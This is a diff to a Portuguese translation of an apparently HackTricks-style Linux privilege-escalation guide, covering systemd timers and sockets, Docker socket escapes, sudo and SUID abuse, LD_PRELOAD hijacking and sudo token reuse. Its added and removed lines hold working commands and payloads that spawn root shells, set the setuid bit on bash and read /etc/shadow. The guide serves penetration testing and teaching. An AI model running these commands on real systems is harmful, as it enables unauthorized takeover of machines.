-### Timers graváveis +### Temporizadores graváveis -Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes do systemd.unit (como uma `.service` ou uma `.target`) +Se você conseguir modificar um temporizador, pode fazê-lo executar algumas unidades do systemd.unit (como uma `.service` ou uma `.target`). ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que é a Unidade: +Na documentação você pode ler o que é a Unit: -> A unidade a ser ativada quando este timer expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, esse valor passa a ser, por padrão, um service que tenha o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. +> A unidade a ativar quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, este valor padrão é um serviço que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. -Portanto, para abusar dessa permissão você precisaria: +Portanto, para abusar desta permissão você precisaria: -- Encontre alguma systemd unit (como uma `.service`) que esteja **executando um binário gravável** -- Encontre alguma systemd unit que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **systemd PATH** (para se passar por esse executável) +- Encontrar alguma unit do systemd (como um `.service`) que esteja **executando um binário gravável** +- Encontrar alguma unit do systemd que esteja **executando um caminho relativo** e você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) -**Learn more about timers with `man systemd.timer`.** +**Saiba mais sobre timers com `man systemd.timer`.** -### **Ativando Timer** +### **Habilitar Timer** -Para ativar um timer você precisa de privilégios root e executar: +Para habilitar um timer você precisa de privilégios root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -465,28 +464,28 @@ Note que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd ## Sockets -Unix Domain Sockets (UDS) permitem **comunicação entre processos** na mesma ou em diferentes máquinas dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta para escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é criada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta em si são **passados para a unit de service iniciada**, e apenas uma unit de service é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única unit de service lida incondicionalmente com todo o tráfego entrante. **Padrão: false**. Por motivos de desempenho, é recomendado escrever novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: **Comandos** adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unit de **service** **a ativar** no **tráfego entrante**. Essa configuração só é permitida para sockets com Accept=no. Por padrão aponta para o service que possui o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não é necessário usar essa opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é gerada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a service unit iniciada**, e apenas uma service unit é instanciada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única service unit trata incondicionalmente todo o tráfego de entrada. **Padrão: false**. Por razões de desempenho, recomenda-se implementar novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criadas** e vinculadas, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da **service** unit a **ativar** em caso de **tráfego de entrada**. Esta configuração só é permitida para sockets com Accept=no. Por padrão, aponta para a service que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. -### Writable .socket files +### Arquivos .socket graváveis -Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -_Observe que o sistema deve estar usando aquela configuração de arquivo socket ou o backdoor não será executado_ +Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e a backdoor será executada antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +_Observe que o sistema precisa estar usando essa configuração de arquivo socket ou a backdoor não será executada_ -### Writable sockets +### Sockets graváveis -Se você **identificar qualquer socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar algum socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. -### Enumerar Sockets Unix +### Enumerar Unix Sockets ```bash netstat -a -p --unix ``` @@ -508,36 +507,36 @@ socket-command-injection.md ### HTTP sockets -Observe que pode haver alguns **sockets ouvindo requisições HTTP** (_não estou falando sobre arquivos .socket, mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: +Note que podem existir alguns **sockets escutando requisições HTTP** (_Não estou falando dos arquivos .socket mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder a uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. +Se o socket **responder com uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. -### Docker socket gravável +### Socket do Docker com permissão de escrita -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à escalada de privilégios. Aqui está um detalhamento de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O socket do Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à elevação de privilégios. Abaixo está uma explicação de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. -#### **Escalada de privilégios com Docker CLI** +#### **Privilege Escalation with Docker CLI** -Se você tem acesso de escrita ao Docker socket, pode escalar privilégios usando os seguintes comandos: +Se você tem acesso de escrita ao socket do Docker, pode escalar privilégios usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estes comandos permitem executar um container com acesso root ao sistema de arquivos do host. +Estas commands allow you to run a container with root-level access to the host's file system. -#### **Usando a Docker API diretamente** +#### **Usando Docker API Diretamente** -Em casos em que o Docker CLI não está disponível, o socket do Docker ainda pode ser manipulado usando a Docker API e comandos `curl`. +Em casos onde o Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. -1. **List Docker Images:** Recupere a lista de imagens disponíveis. +1. **List Docker Images:** Recupera a lista de imagens disponíveis. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. +2. **Create a Container:** Envia uma requisição para criar um container que monta o diretório raiz do host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -559,31 +558,31 @@ Connection: Upgrade Upgrade: tcp ``` -Após estabelecer a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. +Após configurar a conexão `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. ### Outros -Observe que, se você tem permissões de escrita sobre o docker socket porque está **inside the group `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Note que se você tem permissões de escrita sobre o docker socket porque você está **dentro do grupo `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Verifique **mais formas de escapar do docker ou abusá-lo para elevar privilégios** em: +Confira **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) elevação de privilégios +## Containerd (ctr) privilege escalation -Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para elevar privilégios**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** elevação de privilégios +## **RunC** privilege escalation -Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para elevar privilégios**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -592,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado sistema de Comunicação entre Processos (IPC) que permite que aplicações interajam de forma eficiente e compartilhem dados. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado sistema de **Comunicação entre Processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, fornece uma estrutura robusta para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, remetendo a **enhanced UNIX domain sockets**. Além disso, auxilia na transmissão de eventos ou sinais, promovendo integração fluida entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um reprodutor de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, agilizando processos que eram tradicionalmente complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, de forma semelhante a sockets de domínio UNIX aprimorados. Além disso, ajuda na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, agilizando processos que tradicionalmente eram complexos. -O D-Bus opera em um modelo **allow/deny model**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, podendo permitir elevação de privilégios por meio da exploração dessas permissões. +D-Bus opera sobre um **allow/deny model**, gerenciando permissões de mensagem (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que batem. Essas políticas especificam as interações com o bus, potencialmente permitindo elevação de privilégios através da exploração dessas permissões. Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas com contexto "default" se aplicam a todos não cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. ```xml @@ -609,7 +608,7 @@ Políticas sem um usuário ou grupo especificado se aplicam universalmente, enqu ``` -**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** +**Aprenda a enumerar e explorar uma comunicação D-Bus aqui:** {{#ref}} @@ -618,7 +617,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -É sempre interessante enumerar a rede e descobrir a posição da máquina. +Sempre é interessante enumerar a rede e determinar a posição da máquina. ### Enumeração genérica ```bash @@ -643,16 +642,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Portas abertas -Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: +Sempre verifique os serviços de rede em execução na máquina com os quais você não pôde interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifique se você pode sniff traffic. Se puder, poderá capturar algumas credentials. +Verifique se você consegue sniff traffic. Se conseguir, poderá ser capaz de capturar algumas credentials. ``` timeout 1 tcpdump ``` @@ -660,7 +659,7 @@ timeout 1 tcpdump ### Enumeração Genérica -Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **privilégios de root**: +Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **privilégios de root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,19 +683,19 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** escalarem privilégios. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### Grupos -Verifique se você é **membro de algum grupo** que possa conceder privilégios de root: +Verifique se você é **membro de algum grupo** que poderia conceder privilégios de root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Área de transferência Verifique se há algo interessante na área de transferência (se possível) ```bash @@ -715,27 +714,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **souber alguma senha** do ambiente, **tente fazer login como cada usuário** usando essa senha. +Se você **conhecer qualquer senha** do ambiente, **tente fazer login como cada usuário** usando essa senha. ### Su Brute -Se não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar fazer brute-force nos usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes na máquina, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. ## Abusos de PATH gravável ### $PATH -Se você descobrir que pode **escrever em alguma pasta do $PATH** pode ser capaz de escalar privilégios criando um backdoor dentro da pasta gravável com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado a partir de uma pasta situada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios criando uma backdoor dentro da pasta gravável com o nome de algum comando que será executado por outro usuário (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. ### SUDO and SUID -Você pode estar autorizado a executar algum comando usando sudo ou eles podem ter o bit suid. Verifique usando: +Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alguns **comandos inesperados permitem que você leia e/ou grave arquivos ou até execute um comando.** Por exemplo: +Alguns **comandos inesperados permitem que você leia e/ou escreva arquivos ou até execute um comando.** Por exemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,31 +745,56 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem precisar conhecer a senha. +A configuração do sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma ssh key no diretório `root` ou executando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter uma shell adicionando um ssh key no root directory ou chamando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Esta diretiva permite ao usuário **definir uma variável de ambiente** ao executar algo: +Esta diretiva permite ao usuário **definir uma variável de ambiente** enquanto executa algo: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: +Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo — contornando caminhos de execução +### BASH_ENV preserved via sudo env_keep → root shell -**Jump** para ler outros arquivos ou use **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +Se sudoers preserva `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. + +- Por que funciona: Para shells não interativos, Bash avalia `$BASH_ENV` e o arquivo é sourced antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um shell wrapper. Se `BASH_ENV` for preservado pelo sudo, seu arquivo será sourced com privilégios de root. + +- Requisitos: +- Uma regra do sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer bash script). +- `BASH_ENV` presente em `env_keep` (verifique com `sudo -l`). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- Endurecimento: +- Remova `BASH_ENV` (e `ENV`) de `env_keep`, prefira `env_reset`. +- Evite wrappers de shell para comandos permitidos pelo sudo; use binários mínimos. +- Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas forem usadas. + +### Caminhos que permitem bypass de execução do sudo + +**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,16 +804,16 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se um **wildcard** for usado (\*), fica ainda mais fácil: +Se um **wildcard** for usado (\*), é ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary without command path +### Comando Sudo/Binário SUID sem caminho do comando -Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-lo alterando a variável PATH +Se a **permissão sudo** for dada para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -801,25 +825,25 @@ Esta técnica também pode ser usada se um binário **suid** **executa outro com ### Binário SUID com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o mesmo nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chamar o suid binary, esta função será executada +Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e impedir que esse recurso seja explorado, especialmente com executáveis suid/sgid, o sistema impõe certas condições: -- O loader ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). +- O loader desconsidera **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). - Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -Escalada de privilégio pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +A elevação de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` @@ -841,12 +865,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** executando +Finalmente, **escalate privileges** em execução ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser abusado se o atacante controlar a **LD_LIBRARY_PATH** env variable porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc semelhante pode ser abusado se o atacante controlar a env variable **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -868,13 +892,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binary com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere uma possibilidade de exploração. -Para explorar isso, deve-se criar um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -885,13 +909,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, pretende elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, visa elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. -Compile o arquivo C acima em um objeto compartilhado (.so) com: +Compile o arquivo C acima em um shared object (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Por fim, executar o binário SUID afetado deve acionar o exploit, permitindo o comprometimento potencial do sistema. +Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo um possível comprometimento do sistema. ## Shared Object Hijacking ```bash @@ -924,9 +948,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições locais de segurança. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritas, escalar ou manter privilégios elevados, transferir arquivos, spawn de bind e reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -945,18 +969,18 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você puder executar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra maneiras de explorar alguma regra do sudo. +Se você pode executar `sudo -l`, você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra maneiras de explorar alguma regra do sudo. -### Reutilizando tokens do sudo +### Reusing Sudo Tokens In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. -Requirements to escalate privileges: +Requisitos para escalar privilégios: -- Você já tem um shell como o usuário "_sampleuser_". -- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do sudo token que nos permite usar `sudo` sem inserir nenhuma senha) +- Você já tem um shell como o usuário "_sampleuser_" +- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15mins** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem inserir nenhuma senha) - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 -- `gdb` está acessível (você consiga enviá-lo) +- `gdb` esteja acessível (você possa fazer upload dele) (You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) @@ -973,32 +997,32 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna os **sudo tokens** eternos e permite que **todos os usuários** usem sudo ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tem **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário 